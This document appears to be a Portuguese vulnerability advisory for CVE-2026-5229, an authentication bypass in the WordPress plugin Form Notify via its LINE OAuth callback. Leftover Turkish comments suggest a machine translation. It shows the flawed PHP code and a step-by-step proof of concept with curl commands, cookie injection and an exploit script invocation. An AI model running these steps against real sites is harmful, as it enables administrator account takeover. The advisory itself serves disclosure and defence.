
CVE-2026-5229: Bypass de Autenticação do Form Notify via Callback OAuth da LINE (CVSS 9.8)
CVE-2026-5229: Bypass de Autenticação do Form Notify via Callback OAuth do LINE (CVSS 9.8)
Plugin: Form Notify (
form-notify) Tipo de Vulnerabilidade: Bypass de Autenticação LINE OAuth não autenticado → Account Takeover Pontuação CVSS: 9.8 (Crítica) Vetor CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HVersões Afetadas: <= 1.1.10 Versão Corrigida: 1.1.11+ Pesquisador: Paolo Tresso — Wordfence
O plugin Form Notify é um plugin WordPress que envia notificações após o envio de formulários e oferece integração com LINE Login OAuth 2.0.
A vulnerabilidade está no handler de callback do OAuth do LINE. Após o usuário concluir o fluxo de autorização do LINE, o plugin resolve a conta WordPress apenas pelo endereço de email. Ele nunca verifica se a conta LINE já foi associada àquela conta WordPress.
| Versão | Vulnerabilidade | Método de Ataque |
|---|---|---|
| <= 1.1.08 | Injeção de Cookie + Correspondência de Email | Path A ou Path B |
| 1.1.09 – 1.1.10 | Correspondência de Email (cookie removido) | Path B |
| 1.1.11+ | Corrigida | — |
O endpoint de callback do OAuth do LINE está registrado como totalmente público:
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // kimlik doğrulama gerekmez
},
)
);
Os nonces do WordPress são tokens CSRF, não tokens de autenticação. Qualquer visitante pode obter um nonce válido a partir do HTML da página e passar na verificação.
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // sadece email ile arama
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // linkage kontrolü YOK
}
return false;
}
Se houver correspondência, o método login() inicia a sessão imediatamente:
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
Quando o perfil do LINE não retorna email ($user->email vazio),
o plugin lê diretamente o cookie do navegador.
O atacante controla completamente esse cookie.
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Transient yoksa $_SESSION'a düşer
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
Se o transient expirou, o fallback de $_SESSION entra em ação.
Na maioria das instalações do WordPress, $_SESSION não está preenchida
nesse ponto → a verificação de state pode ser contornada.
// sign_up() metodu
$userdata = array(
'user_pass' => $user_email, // şifre = email adresi
...
);
Nas contas criadas pelo fluxo OAuth do LINE, a senha é a mesma do endereço de email. Essa condição permite ataques diretos de brute-force ou de login.
| Motivo | Descrição |
|---|---|
| Sem autenticação necessária | O endpoint de callback é totalmente público |
| Sem verificação de vínculo | Qualquer conta LINE é suficiente |
| Ataque via cookie | Em <= 1.1.08 nem o email é necessário |
| Todas as contas, incluindo admin | get_user_by('email') afeta todos |
| Controle de state fraco | A proteção CSRF pode ser contornada |
| Email = Senha | Contas abertas via OAuth ficam vulneráveis a brute-force trivial |
⚠️ Aviso Legal: Este PoC é fornecido apenas para fins educacionais e de testes de segurança autorizados. Testar sistemas sem permissão explícita é ilegal.
Pré-requisitos:
TARGET="https://target.com"
# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location
Abra as ferramentas de desenvolvedor do navegador e cole no console:
document.cookie = "[email protected]; path=/";
Ou com curl:
curl -v -b '[email protected]' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
Abra no navegador a URL OAuth do LINE presente no header Location.
Na tela de consentimento do LINE, não conceda a permissão de email ou use uma conta LINE sem email. O LINE redireciona para o callback sem o email. O plugin cai no cookie.
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
Resposta esperada:
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"roles": ["administrator"]
}
Igual ao Passo 1 do Path A.
Crie uma conta LINE com o email alvo em account.line.biz.
(Exige verificação de email — é necessário acesso à caixa de entrada do alvo.)
https://target.com/wp-json/form-notify/v1/login
Na tela de consentimento do LINE, conceda a permissão de email. O LINE retorna o endereço de email no callback.
Plugin: is_member('[email protected]')
→ get_user_by('email', '[email protected]')
→ Administrator bulundu
→ wp_set_auth_cookie(1)
→ Oturum açıldı ✓
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
requirements.txt
requests
python form_notify_rce.py -u http://hedef.com
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path A
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path B